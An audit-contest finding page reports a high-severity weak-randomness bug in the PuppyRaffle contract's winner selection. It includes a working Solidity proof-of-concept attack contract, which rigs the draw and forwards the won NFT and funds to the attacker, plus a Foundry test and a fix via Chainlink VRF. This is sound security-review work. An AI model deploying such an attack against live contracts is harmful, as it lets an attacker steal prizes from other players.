First Flight #2: Puppy Raffle
First Flight #2
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Wrong implementation of a source of randomness during `PuppyRaffle::selectWinner` makes the raffle gamable by a savvy player.

0xspryon

Summary

Wrong implementation of randomness in PuppyRaffle::selectWinner makes it possible for savvy players to always be the "lucky" winner of the raffle.

Vulnerability Details

The following line is used to determin the winning player's index in PuppyRaffle::players array.

uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;

This actually is not a source of randomness as both the block.timestamp and block.difficulty are constants for every contracts executing in the same block as the one including the call to PuppyRaffle::selectWinner. Because this function is callable by anyone, a smart contract player can just determinne the conditions ( in this case the PuppyRaffle::players.lenght) under which the winnerIndex is favourable to it and then force PuppyRaffle::players to meet that condition.

Secondly, miners can manipulate block.timestamp to generate a random number that suits their interests.

Let's note that, one can combine the below POC with a bot that runs the smart contract as soon as the timestamp will enable PuppyRaffle::selectWinner to be executed without reverting on the block.timestamp > raffleStartTime + raffleDuration require check.

POC

Put this piece of code in `src/PuppyRaffleHack.sol` 
```solidity
	// SPDX-License-Identifier: MIT
	pragma solidity ^0.7.6;
	
	import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
	import { PuppyRaffle } from "./PuppyRaffle.sol";
	import { RequestRefund } from "./RequestRefund.sol";
	
	contract PuppyRaffleHack {
	    PuppyRaffle private raffle;
	    uint private playersSize;
	    uint private entranceFee;
	
	    constructor(PuppyRaffle _raffle, uint _entranceFee, uint _playerSize) {
	        raffle = _raffle;
	        entranceFee = _entranceFee;
	        playersSize = _playerSize;
	    }
	
	    function _getWinningIndex(uint _playerSize) internal returns (uint, uint){
	        for (uint i = 0; i < 50; i++) {
	            uint index =
	                uint256(keccak256(abi.encodePacked(address(this), block.timestamp, block.difficulty))) % (_playerSize + i);
	            if (index >= _playerSize) {
	                return (index, i);
	            }
	        }
	        return (0, 0);
	    }
	
	    function attack() external payable {
	        (uint winnerIndex, uint arrayLength) = _getWinningIndex(playersSize);
	        require(winnerIndex > 0, "Couldn't find a winning index");
	
	        RequestRefund[] memory requestRefunds = new RequestRefund[](arrayLength);
	        address[] memory players = new address[](arrayLength);
	        for (uint i = 0; i < arrayLength; i++) {
	            RequestRefund requestRefund = new RequestRefund(playersSize + i);
	            requestRefunds[i] = requestRefund;
	            players[i] = address(requestRefund);
	        }
	
	        raffle.enterRaffle{ value: entranceFee * arrayLength }(players);
	        raffle.selectWinner();
	    }
	}
```
Put this piece of code in `src/RequestRefund.sol` 
```solidity
	// SPDX-License-Identifier: MIT
	pragma solidity ^0.7.6;
	
	import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
	import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
	import {Test, console } from "forge-std/Test.sol";
	import { PuppyRaffle } from "./PuppyRaffle.sol";
	
	contract RequestRefund is IERC721Receiver {
	    address owner;
	    uint playerIndex;
	
	    constructor(uint _playerIndex) {
	        owner = msg.sender;
	        playerIndex = _playerIndex;
	    }
	
	    function refund(address _raffle) external {
	        require(msg.sender == owner, "onlyOwner can call this function");
	        PuppyRaffle(_raffle).refund(playerIndex);
	    }
	
	    receive() external payable {
	        owner.call{ value: msg.value }("");
	    }
	
	    function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external override returns (bytes4) {
	        console.log("received nft");
	        IERC721(msg.sender).transferFrom(address(this), owner, tokenId);
	        return this.onERC721Received.selector;
	    }
	}
```
Put this piece of code in `test/PuppyRaffleTest.t.sol` and don't forget to import `PuppyRaffleHack` from `src/PuppyRaffleHack.sol` 
```solidity
    function testRigWinner() public playersEntered {
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        address hacker = address(40);
        address[] memory newAddresses = new address[](1);
        newAddresses[0] = hacker;
        puppyRaffle.enterRaffle{ value: entranceFee }(newAddresses);
        uint playersSize = puppyRaffle.getActivePlayerIndex(hacker) + 1;
        PuppyRaffleHack raffleHack = new PuppyRaffleHack(
            puppyRaffle,
            entranceFee,
            playersSize
        );
        raffleHack.attack{ value: entranceFee * 50 }();

        assertEq(puppyRaffle.ownerOf(puppyRaffle.totalSupply() - 1), address(raffleHack));
    }
```

and run the following command in the terminal

forget test --mt testRigWinner -vvv

Impact

A savvy player can rig the game into always being the winner thereby preventing other players from ever becoming the selected winner.

Tools Used

Manual review

Recommendations

Requesting for true randomness using an oracle service like Chainlink VRF for example.

Updates

Lead Judging Commences

Hamiltonite Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

weak-randomness

Root cause: bad RNG Impact: manipulate winner

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!